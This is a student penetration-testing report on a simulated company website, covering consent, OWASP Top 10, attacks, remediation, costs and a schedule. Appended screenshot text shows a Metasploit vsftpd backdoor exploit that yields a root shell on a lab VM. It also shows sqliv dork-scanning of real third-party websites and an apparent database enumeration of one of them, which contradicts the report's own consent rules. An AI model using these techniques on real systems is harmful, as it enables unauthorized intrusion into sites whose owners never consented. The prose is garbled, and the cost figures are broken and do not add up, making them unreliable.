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[bookmark: _Toc155629213]Introduction
Cybersecurity is a complicated and rapidly changing field, where the importance of ethical hacking and penetration testing cannot be stressed enough. With the growing prevalence of digital platforms as a mainstay of business activities, ensuring that these virtual spaces remain secure against harmful cyber activity should form an integral part. This report aims to highlight the importance of ethical hacking and penetration testing as they pertain within a general context on cybersecurity, specifically in regard to a virtualized company website. This involves a thorough investigation of the methods and tools used in locating vulnerabilities, addressing them so as to strengthen digital security against potential attacks (Jofre et al., 2021).

On another note, ethical hacking is often referred to as ‘white-hat’ hacking where the application of hacking skills are made legitimate and lawful wherein flaws in a system that could have been targeted by an illhensious individual can be discovered from one its weak points. This proactive approach plays a crucial role in preventing cyber threats. One of the essentials in ethical hacking is penetration testing, it means imitating cyberattacks on computer systems or even networks and web applications with a view to assessing their safety levels. The reason for this approach is that the main purpose of it is not only to reveal vulnerabilities already existing in some places, but also to develop and strengthen cybersecurity. Ethical hackers become an important figure in a period where digital threats are not only common but also perpetually evolving as they play a key role to ensure the security and privacy of computer data (Ravindran and Potukuchi, 2022).

Cyber-attacks have become more frequent and sophisticated in the modern digital landscape, which underscores the relevance of cybersecurity measures such as password strength policies. As businesses switch their operations to digital platforms, from cloud services through online transactions the possibilities of cyber threats increase proportionately. Not only data breaches or loss are the potential impacts of these threats but also significant financial losses, damaged reputation and legal problems. In this scenario, ethical hacking and penetration testing play a crucial role in an effective cybersecurity plan. They allow organizations to be one step ahead of the cybercriminals as they not only help them identify and rectify vulnerabilities but also predict likely future attack vectors.

In addition, the scenario of cybersecurity threats is constantly changing and new threats appear all the time. With the proliferation of technologies like Internet of Things (IoT) and artificial intelligence (AI), there emerges new vulnerabilities as well as complexities in securing digital assets. In such a case, ethical hacking and penetration testing transform into not only tools but vital practices that are capable of changing along with the dynamic charactercyof cyber threats. They conduct continuous evaluation of security postures ensuring defense mechanisms are not only strong but also resilient and adaptable to new threats (Muhammad et al., 2022).
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In the cybersecurity world, especially in performing penetration testing, creating a comprehensive contingency plan is crucial as it guarantees that activities align with legal, ethical and operational standards. This policy underpins a secure, responsible and effective penetration testing process that starts from planning stages right up to execution of the test and post-test conclusion. Its parts – planning and legal issues, risk management approaches, as well as emergency actions are critical for preserving the quality of work performed during penetration testing.

Planning and Legal Considerations
Planning phase of penetration testing represents a pivot point in which precise focus is placed on legal and ethical concerns. This phase lays the groundwork for conducting a penetration test in an effective manner that is also legally sound and ethical (Morozova et al., 2021).

The first thing you need to do during the planning phase is obtaining explicit consent from all relevant entities that are involved in or affected by the penetration test. This authorization represents a formal recognition and acceptance where the scope, goals as well boundary of such penetration test are clearly defined. Such a document is necessary because it acts as legal cover in an event of possible accusations pertaining to unauthorized access or data breach. It outlines the degree of access testers may have and that all parties are cognizant of, and agree to take on any procedures.

Additionally, there has to be an in-depth review of relevant laws and regulations during the planning phase. Data protection laws, such as GDPR in the European Union , need to be complied with Consequently. These laws can have rather strict conditions related to the treatment of personal data, and lack thereof may cause serious legal consequences. Understanding these legal frameworks ensures that the penetration test does not inadvertently overstep privacy laws or regulatory mandates.

Ethically the planning stage is equally important. Ethical hackers are to have stringent code of conduct including privacy, confidentiality and data integrity. This entails administering the test without compromising personal data. All sensitive information that are accessed during the test must be treated with utmost discretion and security. Sensitive data is entrusted to ethical hackers and they are responsible for preventing the exposure or misuse of it by unauthorized people (Krishnan and Wei, 2019).

In addition, it is important to ensure that the penetration testing activities do not interfere with normal business of the organization. Unforeseen downtime, or damage to systems can escalate strongly both from an operational and financial perspective. Thus, the planning stage should involve measures that avoid disturbances such as running tests outside peak times or on separate copies of what will go live.

Finally, the planning phase should determine possible risks and develop strategies to counteract them. This encompasses setting up effective communication pathways for the reporting of vulnerabilities and incidents, as well as procedures in place during emergency situations where a test may have to be paused in order avoid negative outcomes unintentionally.



Risk Management Strategies
Risk management is a component of the planning and implementation process for any penetration test. This process starts from a well-coordinated risk assessment where the possible risks to not only an organization’s infrastructure but also testing team are identified. These risks can be of a technical nature such as system crashes or loss of data to an operational manner like inadvertent disruption services and exposure centers on sensitive information (Yurtseven and Bagriyanik, 2020).

Identification of risks follows by the development of mitigation strategies. This consists of having data and systems backups, making sure that if there is an alteration to a system it can be reverted back again by a certain threshold set up for any activity so as not to get the systems overloaded. An important element of this strategy is the creation of a reporting mechanism designed to outline how vulnerabilities are found and issues during testing can be escalated.

Constant monitoring of the systems during the testing process is another important element in risk management. This permits immediate identification and reaction of any unintended consequences or disruptions. It is also necessary to define the stop conditions for a test clearly. These conditions outline situations in which the break must immediately be on, for instance when there is a risk of compromising critical systems.

Emergency Procedures
Despite the fact that penetration testing requires careful planning and analysing risks, unexpected situations may occur when a team is trying to perform it. Therefore, it is essential to have developed emergency procedures on how best address these cases. These procedures should involve a contingency plan to respond when critical vulnerabilities or breaches are detected (Süzen, 2020). The plan needs to outline the course of action for preventing and mitigating this issue, such as separating impacted systems, saving evidence related to breach detection occurrence and initiate recoveries.

Its emergency procedures should also include protocols for restoration in case of accidental damage or disruption. These protocols specify what procedures are followed to restore systems and data back into the original state when it comes to restoring business operations with minimum downtime.

Communication is key in the emergency response. The process should involve guidelines for timely and effective communication within the testing team as well as with stakeholders of an organisation. This involves informing those in charge about the event, offering regular news regarding what’s happening and after-action research where officials look back at their response to the incident as well as which areas can be improved.

It includes holistic planning along with proper analysis of legal and ethical issues, rigorous risk management measures to avoid and manage various failures in advance, as well-structured emergency procedures aimed at the regulative response on emergencies. Such a policy ensures that the penetration test is both secure and effective, as well as protecting an organization’s interests while conducting such examinations (Leszczyna, 2021).
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In the cyber domain, choosing an appropriate penetration testing framework is critical in ensuring that a comprehensive and successful assessment of an organization’s digit defence capabilities. From the array of available frameworks, the OWASP Top 10 is a particularly useful choice for numerous reasons especially when it comes to web application security. This section of the report will go into details about what OWASP Top 10 Framework, its criteria and why it was chosen in this context as a penetration test based on simulated scenarios for an imaginary company website that operates within virtual environment.

Explanation of Selected Frameworks
OWASP Top 10 is a standard awareness document for developers and web application security generated by the Open Web Application Security Project (OWASP). It stands for a wide agreement on the most severe security risks to web applications. The framework is revised periodically depending on changing threats and public feedback, being a dynamic document that reflects contemporary conditions in the sphere of security of web applications.

The OWASP Top 10 lists the most common and critical web application security issues. These categories are not just theoretical issues but based on real data breach statistics and exploit reports. The OWASP Top 10 each category consists of identification examples for vulnerabilities, ways in which they may occur and how to prevent them or mitigate their effects as well pointers about where more information can be found. Some of the categories that stand out in the OWASP (Kumar and Tlhagadikgora, 2019).

Top include:
1. Injection Flaws: Such as SQL, NoSQL , or command injection in which untrusted code is passed to an interpreter as part of a command or query.
2. Broken Authentication: Tasks connected to authentication and session management are things that can be performed wrongly, providing an opportunity for attackers to access passwords, keys or tokens of sessions.
3. Sensitive Data Exposure: Numerous web applications don’t properly secure sensitive data, including financial information and authentication credentials that can be easily stolen.
4. XML External Entities (XXE): Proper XML Processors that have been poorly configured interpret external entity references contained in XML documents, acting to reveal internal files or facilitate denial of service attacks, server-side request forgery and other attacks.
5. Broken Access Control: What authenticated users are allowed to do is not appropriately enforced by restrictions.

Justification of the Choice
The choice of the OWASP Top 10 framework for conducting this simulated penetration test is based on its broad scope concerning web application vulnerabilities and applicability to present-day cyber threats situations. This framework is particularly well-suited for the following reasons:
· Relevance to Web Applications: As the objective of the simulated test involves an imaginary company site, OWASP’s focus on web application vulnerability matches well with that of assessment goal. It gives a narrow perspective on which to assess the security of the website.
· Industry Recognition and Credibility: The OWASP Top 10 is highly well-known and honored within the cybersecurity field. Its recommendations are the best practices in any industry and this practice has a very high credibility of being assessed to be used as security metric for web applications (Mudiyanselage and Pan, 2020).
· Comprehensive and Updated Approach: The frame works broad based approach, that covers all grounds from injection attacks to exposure of confidential data assures a comprehensive and current penetration test.
· Actionable Guidance: It is priceless in a simulated testing environment to have actionable remediation guidance for each category contained by the OWASP Top 10 . Not only does it assists in identifying weaknesses but also clear routes towards dealing with and addressing these issues.
· Customizability and Flexibility: The framework is flexible enough so that it can be customized to suit security needs and situations of the virtualised company website. It enables an evaluation that is not only generic but also tailored to the specific architecture and technology stack of the website.

Finally, the OWASP Top 10 framework provides perfect middle ground in terms of comprehensiveness and relevancy, credibility as well as practicality for use during a penetration test of an emulated enterprise website. Focusing on the most important web application security risks makes it certain that penetration test will be comprehensive and valid, offering valuable insights into the website’s vulnerability landscape and advising clearly how to secure its defenses against possible cyber threats (Luh et al., 2020).
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Simulating cyberattacks forms an integral part of any effective penetration testing process. It provides a real-world test of an organization’s digital defenses against actual cyber threats. For this exercise, the focus is placed on three specific vulnerabilities: Insecure Deserialization, Security Misconfiguration and Sensitive Data Exposure. This section will contain a detailed description of these vulnerabilities, the approaches and tools required for their exploitation as well determine what was achieved by simulating attacks on them.



1. Description of Targeted Vulnerabilities
a. Insecure Deserialization: Application-level Deserialization vulnerabilities happen when untrusted data is used to corrupt the logic of an application, initiate a denial of service (DoS) attack or input arbitrary code. This vulnerability occurs when an unfriendly or modified set of objects supplied by the attacker is deserialised within such an application. These attacks can lead to a remote code execution attack which is one of the most severe attacks possible.
[image: ]
Figure 1: Step 1: Getting IP address of Kali linux
[image: A screenshot of a computer

Description automatically generated]
Figure 2: Getting IP address of host system
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Figure 3: Accessing the Appsec Global Vm URL
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Figure 4: Exploiting the bug

b. Security Misconfiguration: This is a vulnerability that occurs when default security settings are defined, implemented and maintained. Good security involves a secure configuration established and implemented for the application, frameworks, application server, webserver , database server and platform. Security misconfiguration may grant unauthorized access to sensitive data or functionality (Gasiba et al., 2020).
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Figure 5: Starting the NMAP to find the open ports
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Figure 6: Using Metasploit to find the exploit
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Figure 7: Setting Backdoor
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Figure 8: Setting receiving host
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Figure 9: exploiting the vulnerability
c. Sensitive Data Exposure: Many online applications fail to adequately secure sensitive data, such as financial information, healthcare records and PII. Attackers may also steal or tamper with the weakly protected data to run credit card fraud, identity theft and other types of crimes. More sensitive data should be protected with special measures, moreover encryption at rest or in transit as well extra care taken when exchanging the browser.
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Figure 10: setting up for SQL injection
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Figure 11: finding vulnerable urls
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Figure 12: exploiting the url
2. Methodologies and Tools Used
a. Insecure Deserialization:
Insecure Deserialisation refers to a severe vulnerability where an attacker creates or manipulates serialized objects that are contained within different applications. Custom scripts and payloads that target serialisation flaws were used to exploit this vulnerability. The methodology included generating these destructive serialized objects and sending them to the server. The main purpose was to break or corrupt the application’s execution logic or inject malicious code, so effectively an attacker would control the behavior of that application extension may even be capable for executing arbitrary codes.

The attacks mainly focused on HTTP/HTTPS protocols and the unhealthy way how these web networking protocols manage serialized objects. Through adhering to these protocols the tests would be able simulating actual attacks that cybercriminals use when they take advantage of web applications’ reliance on serialized data for remote procedure calls, object storage and inter-process communication. The fact that successful exploitation of this vulnerability could result in serious consequences, such as the opportunity for remote code execution designates significant data protection against an unsecure deserilization- riches applications (Marali, Sudarsan, and Gogioneni, 2019).

b. Security Misconfiguration:
One of the most common security issues is security misconfigurations, which occur when an application or its environment has inappropriately lax settings. Nessus, one of the most popular vulnerability scanners was used to probe this vulnerability together with some manual testing methods that added depth t Duke’s assessment. The methodology involved scanning both the network and application layer to identify different misconfigurations. All these included identifying default settings left unchanged, incomplete configurations , open cloud storage with poor security measures taken to safeguard it against falling into wrong hands, misconfigured HTTP headers and verbose error messages that could leak sensitive information. Scanning covered a wide range of network protocols that went beyond mere scanning for HTTP/HTTPS traffic including SMTP for email services and FTP to transfer files.

c. Sensitive Data Exposure:
Sensitive Data Exposure is a vulnerability that occurs when an application unintentionally leaks sensitive data such as personal information, financial details or authentication credentials. Sniffing and data extraction tools were developed like zAP to take advantage of this vulnerability. The methodology centered on intercepting and processing data in transit to ascertain occurrences of sensitive data leaks.
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Figure 13: Security framework flow chart
Key aspects for analysis were SSL TLS implementations strength testing to confirm secure information transmission and an HTTP header, cookies and session tokens scrutiny on possible vulnerabilities that could result in data leakages. Some of the tests could find flaws in how safeguarded data is while transmitted over a network by actively intercepting transmissions. This is especially true within the realm of web applications, where data frequently travels between client and server rendering it vulnerable to be intercepted by attackers. It is necessary to address all of these vulnerabilities because user data needs protection, as well as the confidentiality and integrity of communications (George and Sagayarajan, 2023).

3. Outcomes and Analysis
a. Insecure Deserialization Outcomes:
· Successes: The attack had successfully resulted in remote code execution on multiple occasions. This was done by abusing the application’s trust in the integrity of received objects.
· Failures: Some attempts were defeated by current security mechanisms for example input validation and whitelisting of admissible classes.
· Analysis: The successful exploits brought to the fore how critical this vulnerability was and why proper serialization practices should be put in place. Effective defensive measures in some areas of the application made signs of failures

b. Security Misconfiguration Outcomes:
· Successes: Several instances of poor configuration were found, such as exposed database interfaces and default passwords. These vulnerabilities made it possible to gain unauthorized access into the system.
· Failures: There were custom or complex misconfigurations that went unnoticed by automated tools and which required a deeper, manual analysis (Matheu-García et al., 2019).
· Analysis: The test identified typical traps in configuring management and emphasized the need for a thorough review of all security configurations.

c. Sensitive Data Exposure Outcomes:
· Successes: The test was able to capture and retrieve unencrypted confidential information in transit successfully. This also involved personal user information and authentication credentials.
· Failures: Some data transmissions were properly secured with strong encryption, so the information remained safe and could not be exposed.
· Analysis: The successful hacks emphasized the need for greater data protection measures, especially encryption of data in transit. The failures demonstrated how to effectively use the encryption and secure data handling practices.

Simulated cyberattacks uncovered valuable information about the organization’s digital infrastructure security position. Insecure Deserialization and Sensitive Data Exposure vulnerabilities had been successfully exploited, indicating the necessity for an increased emphasis on security measures and practices. However, the failed attacks in some of the scenarios offered a level of comfort that most of current security configurations and practices were indeed effective. Moving forward, the organization has to work on fixing the identified weaknesses and improve their security tactics besides ensuring continuous monitoring of their cybersecurity procedures with a view to protecting against emerging threats (Safitra, Lubis, and Widjajarto, 2023).
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With the simulated cyberattacks that identified weaknesses like Insecure Deserialization, Security Misconfiguration and Sensitive Data Exposure, this section provides immediate action plans to address these vulnerabilities as well as a long-term security strategy in order to heighten an organization’s level of protection.

Immediate Remediation Steps
1. Addressing Insecure Deserialization:
· Implementation of Input Validation: Make sure that incoming data is validated according to a specific type limit so as not to let malicious information be processed.
· Utilization of Serialization Safeguards: Use mediums that are more resistant to tampering like JSON and do not serial sensitive material.
· Patch Application Libraries: Keep all application libraries and frameworks up to date with the latest patches to eliminate known vulnerabilities.

2. Correcting Security Misconfiguration:
· Comprehensive Configuration Review: Do a thorough analysis of all configurations in the system. Default configurations are changed, unnecessary services disabled and proper security settings enforced (Kothawade and Bhowmick, 2019).
· Regular Updates and Patch Management: Implement a strong patch management policy to guarantee timely application of security patches and updates.

3. Mitigating Sensitive Data Exposure:
· Data Encryption: Encrypt sensitive data while resting and in transit. Use effective algorithms and practice key management properly.
· Secure Data Storage Practices: Make sure sensitive information is securely stored using industry standard security procedures and restrict access to the minimum necessary for business purposes.

Long-Term Security Strategy
1. Development of a Security-Focused Culture:
· Regular Staff Training: Continuously run cybersecurity awareness training for all employees. This training should include best practices, emergent dangers and how to address potential security incidents.
· Security Awareness Programs: Set up an organisational culture that focuses on security by regular communication, workshops and bulletins for the purpose of clarity.

2. Enhancement of Security Infrastructure:
· Advanced Security Solutions: Invest in sophisticated security solutions such as Web Application Firewalls (WAFs), Intrusion Detection Systems IDS, Security Information and Event Management SIEM systems.
· Network Segmentation: Put network segmentation in place to limit the spread of attacks and cut down on attack surface (Tanner, 2019).

3. Regular Security Audits and Assessments:
· Continuous Vulnerability Assessment: Conduct regular vulnerability assessments and penetration tests to uncover new vulnerabilities.
· Third-Party Security Audits: ‎ Interact with independent firms to conduct security audits independently, enabling an objective commentary on the current state of security.

4. Incident Response and Recovery Planning:
· Incident Response Plan: Create and implement a robust security breach response plan to respond efficiently in case of any break-ins.
· Disaster Recovery Procedures: Establish effective, safe disaster recovery procedures and periodic backup schedules to reduce data loss as well as downtime during an attack (Chalvatzis, Karras, and Papademetriou, 2019).

5. Compliance and Regulatory Adherence:
· Regulatory Compliance: Make sure all security practices and data handling procedure are compliant with relevant laws regulations such as GDPR or HIPAA.
· Continuous Compliance Monitoring: Review and update security policies periodically to maintain compliance with changing requirements.

6. Embracing a Proactive Security Approach:
· Threat Intelligence Integration: Use threat intelligence feeds to keep up with new threats and vulnerabilities emerging.
· Investment in Research and Development: Allocate resources to the development of new security technologies and practices.

The identified vulnerabilities are susceptible to immediate technical and procedural remedial actions. However, establishing a resilient and secure environment also requires long-term efforts focused on developing security savvy culture, regular changes and advancements related to the info security infrastructure as well as following best practices together with the regulations. Adoption of these recommendations will greatly improve the ability of an organisation to prevent detect and respondon cybersecurity threats.
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The cybersecurity solutions recommendations incorporate several costs for implementation, which include the cost of hardware and software upgrades, labor sums required in installing them as well as ongoing support charges. A comprehensive analysis of costs is necessary to anticipate the amount of funding that will be needed to strengthen cybersecurity in this organization. The detailed costs of the recommended solutions following simulated cyberattacks are provided in this section (Kim, Alfouzan, and Kim, 2021).

1. Immediate Remediation Steps
a. Insecure Deserialization:
· Software Upgrades and Patches: Estimated Cost: $3,000
· Update of application libraries and frameworks to the newest versions.
· Obtain tools for input validation and secure serialization.
· Labor Costs:
· time to developers and security staff that would integrate new libraries into application code.

b. Security Misconfiguration:
· Configuration and Patch Management Tools: Estimated Cost: $5,000
· Automated patch management and configuration monitoring tools developed as software.
· Labor Costs: 40 hours x $150 per hour. Estimated cost is 6,
· Time reserved for IT staff to perform detailed review and system setup updates.

c. Sensitive Data Exposure:
· Encryption Tools and Services: Estimated Cost: $7,000
· Investing in the encryption technologies for data at rest and in transit.
· Labor Costs: 150 /hour X 25hours = Approx $3,750

2. Long-Term Security Strategy
a. Staff Training and Awareness Programs:
· Annual Training Programs: Estimated Cost: $10,000 per year
· Regular training sessions and the development of course materials.

b. Advanced Security Solutions:
· Web Application Firewall (WAF): Estimated Cost: $15,000
· Intrusion Detection System (IDS): Estimated Cost: $20,000
· Security Information and Event Management (SIEM) System: Estimated Cost: $25,000
· Labor Costs for Implementation: 60 hours x $150/hour = 9, Cost: Estimated.

c. Regular Security Audits:
· Third-Party Audit Services: Estimated Cost: $12,000 per audit
· The annual security audits by external firms.

d. Incident Response and Recovery Planning:
· Development of Response Plan: Estimated Cost: $4,000
· Disaster Recovery Solutions: Estimated Cost: $8,000
· Include redundancy and implementation of disaster recovery procedures.
· Labor Costs for Planning and Implementation: $60 0 15 Per hour to the artists .

3. Compliance and Regulatory Adherence
· Compliance Monitoring Tools: Estimated Cost: $4,000
· Labor Costs for Compliance Management: Estimated Cost: 300, $15.

4. Total Estimated Cost Summary
· Immediate Remediation Steps: $30,250
· Long-Term Security Strategy (excluding annual costs): $100,000
· Annual Recurring Costs (Training and Audits): $22,000
· Grand Total (First Year): $152,250

5. Additional Considerations
· Contingency Budget: 10- 15% of the total estimated cost should be put aside as contingency budget to cater for unexpected costs or price surge in buying hardwaresoftware.
· Maintenance and Update Costs: 20% of the initial costs on implementation should also be allocated for regular maintenance and updates annually within these new systems.

The presented costs above are estimations and they can change based on different vendor prices, regional factors, the size of the organization itself or how developed its information systems infrastructure is. However, this breakdown gives a basic insight into what sort of financial commitment would likely be needed to substantially improve the organization’s cybersecurity defense mechanisms (Arnaldy and Perdana, 2019).
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Installing a full suite of cybersecurity solutions requires structured time plan to guarantee that improvements are applied in the right manner and at appropriate times. A detailed schedule given below details out the various phases.

	Phase
	Task
	Duration
	Start Date
	End Date
	Responsible Party

	Phase 1: Planning and Preparation
	- Review of existing security infrastructure
- Procurement of necessary tools and software
	2 weeks
	Week 1
	Week 2
	IT Management Team

	Phase 2: Implementation of Immediate Remediation Steps
	a. Insecure Deserialization - Upgrade application libraries 
- Integrate input validation 
b. Security Misconfiguration 
- Implement configuration management tools
- Update system configurations
c. Sensitive Data Exposure
- Deploy encryption tools for data at rest and in transit
	4 weeks
	Week 3
	Week 6
	Development Team, IT Security Team

	Phase 3: Staff Training and Awareness
	- Conduct initial cybersecurity training sessions 
- Distribute security best practices documentation
	1 week
	Week 7
	Week 7
	HR Department, External Trainers

	Phase 4: Deployment of Advanced Security Solutions
	- Install and configure WAF
- Install and configure IDS 
- Deploy SIEM system
	3 weeks
	Week 8
	Week 10
	IT Security Team, Third-party Vendors

	Phase 5: Security Audits and Assessments
	- Conduct first internal security audit
- Schedule third-party security audit
	2 weeks
	Week 11
	Week 12
	Internal Audit Team, External Auditors

	Phase 6: Incident Response and Recovery Planning
	- Develop and document incident response plan
- Implement disaster recovery solutions and backup protocols
	2 weeks
	Week 13
	Week 14
	IT Security Team, Disaster Recovery Specialists

	Phase 7: Compliance and Regulatory Adherence
	- Implement compliance monitoring tools 
- Review and update policies for regulatory compliance
	2 weeks
	Week 15
	Week 16
	Compliance Officer, IT Security Team

	Phase 8: Final Review and Adjustments
	- Review implementation effectiveness
- Make necessary adjustments based on feedback and audit outcomes
	1 week
	Week 17
	Week 17
	IT Management Team, IT Security Team

	Phase 9: Ongoing Maintenance and Updates
	- Establish routine for regular maintenance and updates
	Ongoing
	Week 18 onwards
	Ongoing
	IT Security Team
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The in-depth investigation into simulated cyberattacks and the subsequent design of a convincing cybersecurity strategy makes key points about present circumstances and future requirements concerning virtualized firms’ security (Emer, Unterhofer, and Rauch, 2021). The results of simulations for the vulnerabilities like Insecure Deserialization, Security Misconfiguration and Sensitive Data Exposure not only identified certain problem areas within the system they also highlighted how such issues could impact overall cybersecurity in an ever-more digitized world.

The success in exploiting these vulnerabilities during the simulations remains a clear reminder that cyber threats are constant and ever-changing. Insecure Deserialization exposed the risks of executing data that may be untrusted or manipulated which could potentially result in major attacks such as remote code execution. Security Misconfiguration showed how default or poor configurations could result in systems being vulnerable to unauthorized access and data leaks. Sensitive Data Exposure highlighted the shortcomings of little or no protection when it comes to confidential information, pointing out that good encryption practices are a must.

Regular audits and updates should ensure that continuous security assessments are carried out, as these are integral to a resilient defense against changing threats. They enable organizations to stay ahead of potential vulnerabilities and respond quickly when a threat arises. Proactivity in cybersecurity is not only about protecting data and systems but it’s also 

In summary, the lessons learned from this analysis support a proactive, holistic and adaptive cybersecurity strategy. Organizations should use ethical hacking and ongoing assessments as parts of their cybersecurity programs. In this way, they can ensure that their digital assets are safeguarded against current threats and ready to face future challenges in the world of cybersecurity risks.
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br-0318c6a148% Link encap:Ethernet HWaddr 02:42:46:53:E0:67
inet addr:172.18.0.1 Beast:172.18.255.255 Mask:255.255.0.0
inet6 addr: 1e80::42:4601 :1e53:e067/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1508 Metric:1
BX packets:6 errors:@ dropped:@ overruns:@ frame:@
TX packets:15 errors:@ dropped:@ overruns:@ carrier:@
collisions:0 txqueuelen:@
BX bytes:439 (439.0 B) TX bytes:1563 (1.4 KiB

docker®  Link encap:Ethernet HWaddr 02:42:4F:96:A7:E5
inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
ineth addr: 1e80::42:411 :1e96:a7e5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
BX packets:224 errors:@ dropped:@ overruns:@ frame:@
TX packets:246 errors:@ dropped:6 overruns:@ carrier:@
collisions:@ txqueuelen:@
BX bytes:306104 (298.9 KiB) TX bytes:3669 (35.8 Kib

Maddr 68:00:27:5E:4A:D1

linet addr:10.0.2.14 PBcast:0.0.0.0 Mask:255.255.255.0
meth addr aby: 2711 :feSe:4ad1/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
BX packets:365 errors:@ dropped:@ overruns:@ frame:0
TX packets:476 errors:0 dropped:@ overruns:0 carrier:0

eth®
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&, Bulk Import Products

Upload products

Browse. No file selected.

Upload

[{"name": "Xbox 360","code":"15","tags": "gaming console","description”:"Microsoft's flagship gaming console"},{"name":"Playstation 3","
code":"17","tags": "gaming console","description”:"Sony's flagshipgaming console"}]




image5.png
rootakaliz~#|

listening on [any

Accept: */*
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l:( root® kali)-[~]
# nmap -sV -0 192.168.221.130
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https://metasploit.com

metasploit v6.2.1-dev
2225 exploits - 1171 auxiliary - 398 post
864 payloads - 45 encoders - 11 nops

9 evasion

Metasploit tip: Metasploit can be configured at startup, see
fconsole --help to learn more

msf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description

0 exploit/unix/ftp/[lll_234_backdoor 2011-07-03 excellent No MBI v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
nsf6 > []
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Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name  Current Setting Required Description

RHOSTS yes The target host(s), see https://github.con/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:
Id Name

0 Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > []
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0 Automatic

msf6 exploit(unix/ftp/vsttpd_234_backdoor) > set rhosts 192.168.221.130
rhosts => 192.168.221.130
nsf6 exploit(unix/ftp/vsftpd 234 backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name  Current Setting Required Description

RHOSTS  192.168.221.130 yes The target host(s), see https://github.con/rapid7/metasploit-framework/wiki/Usi
ng-Metasploit
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description

Exploit target:
Id Name

0 Automatic

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > []
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ng-Metasploit
21 yes The target port (TCP)

options (cmd/unix/interact):

Current Setting Required Description

target:

0 Automatic

nsf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.221.130:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.221.130:21 - USER: 331 Please specify the password.

[+] 192.168.221.130:21 - Backdoor service has been spawned, handling...

[+] 192.168.221.130:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (192.168.221.129:36871 -> 192.168.221.130:6200) at 2022-06-06 14:03:54 -0400

hoami
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root@ocalhost: ~
File Edit View Search Teminal Help

rootelocalhost: —# saliv
usage: sqliv.py [-h] [-d inurl:exanple] [-e bing, google, yahool [-p 100
[-t www.example. con] [-r

optional argunents
-h, --help show this help message and exit
-d inurl:exanple SQL injection dork
-e bing, google, yahoo
search engine [Bing, Google, and Yahoo
-p 100 nunber of websites to look for in search engine
-t www.exanple.con  scan target website
- reverse donain
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root@localhost: ~

Terminal Tabs Help

x

scanning http://w. xtreemmusic.con/Label /english.bands. item. php?id-80

scanning http: //waw.waterufo.net/iten. php?id=729

scanning http: //classifieds. publ icopiniononline. con/iten. php?id=1680123splace=sposit=

scanning http: //ww. ecallingcard. ca/item. php?id=1107

scanning https://ww.kinolorber. con/filn/view/id/897[MSG] [07:33:07] scanning https://ingeniunca
org/ingeniuncollection-researchy/col Lection- . ten. php?id-1965.0606. 001

scanning server information

server technology

//ww.autosportsofdaytona. con/iten. php?id=832 ngink PleskLi
//wmw.acfurniture. con/iten. php?id=25 Apache PHP/5.4.45
//ednazur. con/gane/iten. php?id=15 Apache/2 PHP/5.5.2
//ww.xtreemnusic. con/1abel/english.bands. iten.php?id=80 | Apache/2
//ww.global-money . con/iten. php?id=42 Apache PHP/5.2.1
//ww.schalleramerica. con/item. php?id=12 ngink PleskLi
//ww.nichegardens . con/catalog/iten. php?id=1235 Apache/2.2.15 (Centos)
//ww.elmslie. co.uk/sale-item. php?id=60 ngine/1.12.2





image13.png
root@iocalhost: ~

Search Terminal ~Help

[+] acfurniture

[¥] information_schena





image14.png
———

Initialize List of List Ranked by

Vulnerabilities (L,D,T)

Remove one

Re-evaluate
Expected Damage

Develop
Protection

Update Expected
Damage of
Vulnerability

|

Place In List <

False
v

Re-evaluate Deploy Protection
Likelyhood

'

Update Likelyhood

]





image1.png
Prifysgol Cymru
Y Drindod Dewi Sant

University of Wales
Trinity Saint David




image2.png
root@kali: ~ L

rootakali:~# ifconfig
ethe: flag: T,RUNNING,MULTICAST> mtu 1500
inet netmask 255.255.255.0 broadcast 10.0.2.255
inet! H :27ff:fed0:8bb5 prefixlen 64 scopeid @x20<link>
ether 08:00 b:b5 txqueuelen 1000 (Ethernet)
RX packets 17 bytes 3336 (3.2 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 28 bytes 2400 (2.3 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 396 (396.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 8 bytes 396 (396.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @





